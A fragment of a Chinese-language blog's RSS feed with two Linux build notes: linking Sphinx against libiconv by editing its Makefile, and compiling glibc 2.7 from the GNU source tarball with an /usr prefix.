<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">.<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--prefix</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

<p>打开源码目录/src/Makefile：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">LIBS = <span style="color: #660033;">-ldl</span> <span style="color: #660033;">-lm</span> <span style="color: #660033;">-lz</span> <span style="color: #660033;">-lexpat</span>  -L<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib <span style="color: #660033;">-lrt</span>  <span style="color: #660033;">-lpthread</span></pre></div></div>

<p>在尾部增加 -liconv</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">LIBS = <span style="color: #660033;">-ldl</span> <span style="color: #660033;">-lm</span> <span style="color: #660033;">-lz</span> <span style="color: #660033;">-lexpat</span>  -L<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib <span style="color: #660033;">-lrt</span>  <span style="color: #660033;">-lpthread</span>  <span style="color: #660033;">-liconv</span></pre></div></div>

<p>最后执行make</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></pre></div></div>

<p><strong style="color:red;">PS: 在帮koofind换服务器时，由于项目要求，将SphinxClient类改名，但会报一些warning错误，最后发现构造函数是SphinxClient，蛋疼，可能是为了兼容php4吧</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1023/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>安装glibc 2.7</title>
		<link>http://www.kilobug.com/archives/1021</link>
		<comments>http://www.kilobug.com/archives/1021#comments</comments>
		<pubDate>Sun, 27 Nov 2011 06:31:56 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1021</guid>
		<description><![CDATA[wget http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz tar zxvf glibc-2.7.tar.gz #不能进glib-2.7目录编译，需要设置prefix=/usr ./glib-2.7/configure --prefix=/usr make &#38;&#38; make install]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>ftp.gnu.org<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>gnu<span style="color: #000000; font-weight: bold;">/</span>glibc<span style="color: #000000; font-weight: bold;">/</span>glibc-<span style="color: #000000;">2.7</span>.tar.gz
<span style="color: #c20cb9; font-weight: bold;">tar</span> zxvf glibc-<span style="color: #000000;">2.7</span>.tar.gz
<span style="color: #666666; font-style: italic;">#不能进glib-2.7目录编译，需要设置prefix=/usr</span>
.<span style="color: #000000; font-weight: bold;">/</span>glib-<span style="color: #000000;">2.7</span><span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--prefix</span>=<span style="color: #000000; font-weight: bold;">/</span>usr
<span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1021/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

